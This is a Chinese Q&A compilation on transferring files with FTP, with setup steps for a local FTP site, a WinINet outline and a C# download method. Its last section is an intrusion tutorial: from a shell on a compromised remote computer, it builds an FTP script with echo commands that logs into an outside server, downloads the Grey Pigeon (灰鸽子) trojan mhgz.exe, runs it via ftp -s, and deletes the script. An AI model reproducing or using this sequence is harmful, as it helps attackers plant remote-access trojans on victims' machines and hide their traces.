C脚本读写远程ftp文件
㈠ 怎么把本地文件传到远程ftp
1、首先需要在本地设置一个FTP站点
(1)我的电脑——》管理——》本地用户和组——》用户——》新增用户,即设置FTP登录的用户名和密码
(5)最后就可以测试刚才建立的ftp服务器是否建立成功了。在浏览器上输入以下地址ftp://设置站点时ip(在此为本地ip) 即可打开具有上传功能的FTP页面,输入ftp://设置站点时ip(在此为本地ip):2121即可打开只有下载功能的页面了!当然,登录之前还需要你输入开始建立的那个账号及密码:用户名为:。密码为:XXXXXX
这样你需要建立的ftp服务器就建立成功了
㈡ C语言如何用FtpPutFile()函数上传文件到Ftp服务器!下载用FtpGetFile()可以!
- 先后使用InternetOpen和InternetConnect打开连接。
- 使用CreateFile函数打开本地文件。
- 使用FtpOpenFile函数打开远程文件。
- 分别使用InternetReadFile和ReadFile函数读取 FTP 或本地文件。
- 分别使用InternetWriteFile和WriteFile函数写入 FTP 或本地文件。
- 使用CloseHandle函数关闭本地文件句柄。
- 使用InternetCloseHandle函数关闭 FTP 文件句柄。
㈢ 求一个从FTP下载指定文件到本地计算机的C#代码。
#region 下载文件
/**//// <summary>
/// 从FTP服务器下载文件,使用与远程文件同名的文件名来保存文件
/// </summary>
/// <param name="RemoteFileName">远程文件名</param>
/// <param name="LocalPath">本地路径</param>
public bool DownloadFile(string RemoteFileName, string LocalPath)
{
return DownloadFile(RemoteFileName, LocalPath, RemoteFileName);
}
/**//// <summary>
/// 从FTP服务器下载文件,指定本地路径和本地文件名
/// </summary>
/// <param name="RemoteFileName">远程文件名</param>
/// <param name="LocalPath">本地路径</param>
/// <param name="LocalFilePath">保存文件的本地路径,后面带有"\"</param>
/// <param name="LocalFileName">保存本地的文件名</param>
public bool DownloadFile(string RemoteFileName, string LocalPath, string LocalFileName)
{
byte[] bt = null;
try
{
if (!IsValidFileChars(RemoteFileName) || !IsValidFileChars(LocalFileName) || !IsValidPathChars(LocalPath))
{
throw new Exception("非法文件名或目录名!");
}
if (!Directory.Exists(LocalPath))
{
throw new Exception("本地文件路径不存在!");
}
string LocalFullPath = Path.Combine(LocalPath, LocalFileName);
if (File.Exists(LocalFullPath))
{
throw new Exception("当前路径下已经存在同名文件!");
}
bt = DownloadFile(RemoteFileName);
if (bt != null)
{
FileStream stream = new FileStream(LocalFullPath, FileMode.Create);
stream.Write(bt, 0, bt.Length);
stream.Flush();
stream.Close();
return true;
}
else
{
return false;
}
}
catch (Exception ep)
{
ErrorMsg = ep.ToString();
throw ep;
}
}
/**//// <summary>
/// 从FTP服务器下载文件,返回文件二进制数据
/// </summary>
/// <param name="RemoteFileName">远程文件名</param>
public byte[] DownloadFile(string RemoteFileName)
{
try
{
if (!IsValidFileChars(RemoteFileName))
{
throw new Exception("非法文件名或目录名!");
}
Response = Open(new Uri(this.Uri.ToString() + RemoteFileName), WebRequestMethods.Ftp.DownloadFile);
Stream Reader = Response.GetResponseStream();
MemoryStream mem = new MemoryStream(1024 * 500);
byte[] buffer = new byte[1024];
int bytesRead = 0;
int TotalByteRead = 0;
while (true)
{
bytesRead = Reader.Read(buffer, 0, buffer.Length);
TotalByteRead += bytesRead;
if (bytesRead == 0)
break;
mem.Write(buffer, 0, bytesRead);
}
if (mem.Length > 0)
{
return mem.ToArray();
}
else
{
return null;
}
}
catch (Exception ep)
{
ErrorMsg = ep.ToString();
throw ep;
}
}
#endregion
㈣ 远程计算机怎么用FTP传文件啊
在远程计算机的cmd环境下,如果不能通过ipc$渠道传送文件,那就只有通过ftp下载文件了。
假设我们已经有一个ftp服务器,上面有一个我们配置好的灰鸽子木马文件mhgz.exe,我们应该知道ftp服务器的三个参数:
1、ftp服务器的ip地址:如203.75.44.34
2、ftp服务器的用户名:如tty
3、ftp服务器的密
码:如tty123
在远程计算机的cmd下依次输入下面的命令:
1、echo
open
203.75.44.34>>tty.txt
登陆ftp服务器
2、echo
tty>>tty.txt
用户名
3、echo
tty123>>tty.txt
密码
4、echo
bin>>tty.txt
开始
5、echo
get
mhgz.exe>>tty.txt
下载灰鸽子木马
6、echo
bye>>tty.txt
关闭ftp服务器
输入上面命令后,在远程计算机上就会生成一个tty.txt文件,内容为:
open
203.75.44.34
tty
tty123
bin
get
mhgz.exe
bye
现在我们在远程计算机上执行下面的命令:
ftp
-s:tty.txt
意思是,读取tty.txt里的参数,执行ftp命令,命令执行完后,灰鸽子木马文件mhgz.exe就下载到对方计算机里了。
del
c:\tty.txt